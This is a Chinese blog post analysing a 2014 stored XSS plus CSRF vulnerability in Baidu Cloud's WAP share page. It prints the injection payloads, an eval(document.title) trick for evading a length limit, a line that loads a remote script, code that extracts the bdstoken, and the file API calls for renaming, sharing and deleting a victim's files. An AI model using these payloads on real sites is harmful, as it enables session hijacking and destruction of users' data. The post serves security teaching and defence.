文章目录
- 前言
-
- [1. 漏洞信息](#1. 漏洞信息)
- [2. 漏洞核心原理](#2. 漏洞核心原理)
-
- [2.1 存储型XSS原理](#2.1 存储型XSS原理)
- [2.2 CSRF原理](#2.2 CSRF原理)
- [3. 完整攻击链路](#3. 完整攻击链路)
-
- [3.1 注入恶意脚本,生成分享链接](#3.1 注入恶意脚本,生成分享链接)
- [3.2 构造WAP版直连链接,突破UA限制](#3.2 构造WAP版直连链接,突破UA限制)
- [3.3 突破字符限制,加载远程恶意JS](#3.3 突破字符限制,加载远程恶意JS)
- [3.4 窃取凭证,执行CSRF越权操作](#3.4 窃取凭证,执行CSRF越权操作)
- [4. 漏洞关键细节与避坑点](#4. 漏洞关键细节与避坑点)
- [5. 漏洞危害总结](#5. 漏洞危害总结)
⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
前言
在Web安全领域,各类漏洞不断涌现,今天我们聚焦于一个极具代表性的案例------2014年百度云网盘的存储型XSS + CSRF组合漏洞。此漏洞在当年影响广泛,对于深入理解组合攻击思路具有重要价值,无论是新手学习入门,还是资深人士巩固知识,都十分值得深入探究。
1. 漏洞信息
- 漏洞编号:wooyun - 2014 - 077970
- 漏洞类型:存储型XSS + CSRF 组合漏洞
2. 漏洞核心原理
该漏洞的强大破坏力源于存储型XSS与CSRF的协同作用。存储型XSS负责窃取关键凭证,CSRF则利用这些凭证实施越权操作,二者结合使得漏洞危害呈指数级增长。接下来我们分别剖析它们的原理以及协同机制。
2.1 存储型XSS原理
存储型XSS,亦称为持久化XSS,其原理在于服务器未对用户输入内容进行任何安全过滤,便直接将恶意脚本存储至数据库或缓存中。当其他用户访问包含该内容的页面时,脚本会自动执行。在此案例中,百度云网盘的WAP版页面存在严重缺陷:用户的分享昵称(本案例以QQ昵称模拟)被直接拼接到页面的JS代码块中,且未进行任何转义处理。攻击者只需构造特殊的恶意脚本作为昵称并分享文件,所有访问该分享链接的用户,都会触发脚本执行。
核心注入Payload:";};alert(1)//
这个Payload的作用是通过";}闭合前面的JS变量赋值语句,然后执行alert(1)(用于测试),最后用//注释掉后面多余的代码,以避免语法错误。
2.2 CSRF原理
CSRF(跨站请求伪造),其核心是利用浏览器自动携带用户Cookie的特性,伪造用户身份,向服务器发送恶意请求,从而执行用户权限范围内的操作。
在此案例中,攻击者通过XSS脚本窃取到用户的bdstoken(百度云的接口鉴权凭证),结合浏览器自动携带的用户Cookie,无需用户手动操作,即可伪造用户请求,调用百度云的文件管理API,执行重命名、共享、删除文件等敏感操作。
关键前提在于:bdstoken权限过大,可直接驱动文件管理相关接口,且未做二次校验(如验证码、操作密码)。
3. 完整攻击链路
3.1 注入恶意脚本,生成分享链接
- 攻击者将自己的QQ昵称为恶意Payload:";};alert(1)//(利用QQ昵称作为用户输入载体,间接传入百度网盘);
- 登录百度云网盘,使用该账号分享任意文件,生成普通分享链接:http://pan.baidu.com/s/1kTqTrzL;
- 此时,该分享链接的PC版页面已修复XSS漏洞,无法触发脚本,但WAP版页面未修复,存在漏洞。
3.2 构造WAP版直连链接,突破UA限制
- 在百度搜索"pan.baidu.com wap",找到百度云网盘WAP版入口:pan.baidu.com/wap/link(该链接打开直接是WAP版,无需修改浏览器UA);
- 从步骤1的普通分享链接中,提取uk(用户标识)和shareid(分享标识)两个参数(可通过查看页面源码获取);
- 构造WAP版恶意分享链接:http://pan.baidu.com/wap/link?shareid=1180545652\&uk=1549176177,此时无需修改UA,任何人打开该链接都会触发XSS脚本(弹出alert(1))。
3.3 突破字符限制,加载远程恶意JS
此时遇到一个问题:QQ昵称最长只有36字符,无法直接写入复杂的恶意脚本(比如加载远程JS、窃取凭证),攻击者通过两个技巧突破限制:
- 利用"页面标题可控":分享页面的标题会包含分享者昵称和文件信息,可将长脚本藏在文件名/标题中;
- 构造Payload:alert(1);var a='_免费高速下载|百度云网盘 - 分享无限制"}";eval(document.title+"\x27")//,通过eval(document.title)执行标题中的脚本,规避字符限制;
- 进一步构造文件名Payload,加载远程恶意JS:document.body.appendChild(document.createElement('script')).src=String.fromCharCode(47,47,32473,46,112,119,47,50);var a=',成功执行外部恶意代码。
3.4 窃取凭证,执行CSRF越权操作
这是漏洞危害的核心步骤,攻击者通过加载的恶意JS,完成以下操作:
- 窃取bdstoken:从页面源码中提取鉴权凭证(通过字符串分割:document.documentElement.innerHTML.split("bdstoken=\u0022")[1].split("\u0022;FileUtils.mobileModel")[0]);
- 调用API获取文件列表:通过XMLHttpRequest发起GET请求,访问http://pan.baidu.com/api/list?num=100\&page=1\&dir=%2F\&order=time\&desc=1,获取受害者网盘内所有文件的fs_id(文件标识)和path(文件路径);
- 执行敏感操作:通过POST请求调用对应API,实现越权操作:
- 重命名文件:请求地址/api/filemanager?opera=rename,传入文件路径和新文件名;
- 共享文件:请求地址/share/set,传入文件ID;
- 删除文件:请求地址/api/filemanager?opera=delete,传入文件路径。
至此,攻击者无需知道受害者的账号密码,仅凭一个恶意分享链接,即可完全操控受害者的百度云网盘文件。
4. 漏洞关键细节与避坑点
这个漏洞之所以能够成功利用,存在几个关键细节,这些既是我们学习过程中需要重点关注的"避坑点",也是企业安全开发中需要极力规避的问题。
- 遗留漏洞是重灾区:PC版已修复XSS漏洞,但WAP版被遗漏,导致攻击者可通过WAP版绕过防护。这警示我们:全端安全策略必须统一,移动端、PC端、小程序等不能出现"防护断层"。
- 输出点的危险性 :恶意脚本的输出点位于页面的
<script>代码块中,在这种场景下,无需闭合HTML标签,只需闭合JS语句即可实现注入,不仅防护难度更低,而且更为隐蔽。 - 凭证权限过大:bdstoken可直接驱动所有文件管理操作,未做权限隔离和二次校验,一旦泄露,后果不堪设想。
- 字符限制的绕过技巧:当用户输入存在长度限制时,可利用页面中其他可控字段(如标题、文件名)存储长脚本,通过eval等方法调用,这是XSS绕过的常用思路。
5. 漏洞危害总结
该漏洞属于高危持久化漏洞,其危害主要体现在以下三个方面,这也是存储型XSS + CSRF组合攻击的典型危害:
- 数据泄露:可窃取受害者网盘内的文件列表、敏感文件(如文档、照片),造成个人信息泄露;
- 数据破坏:能够任意删除、重命名受害者网盘文件,导致数据丢失,影响用户正常使用;
- 攻击扩散:可通过受害者的网盘分享,进一步传播恶意链接,扩大攻击范围,形成连锁危害。
尽管时间已过去许久,但其中蕴含的攻击思路和防御逻辑,在当下依然具有重要的应用价值。Web安全的核心,本质上是"信任边界"的问题:服务器不能过度信任用户输入,任何用户可控的内容,都必须经过严格的过滤和校验。
希望这篇复盘能助力大家更好地理解存储型XSS和CSRF漏。
本文是「Web安全基础」系列内容,点击专栏导航查看全部系列内容。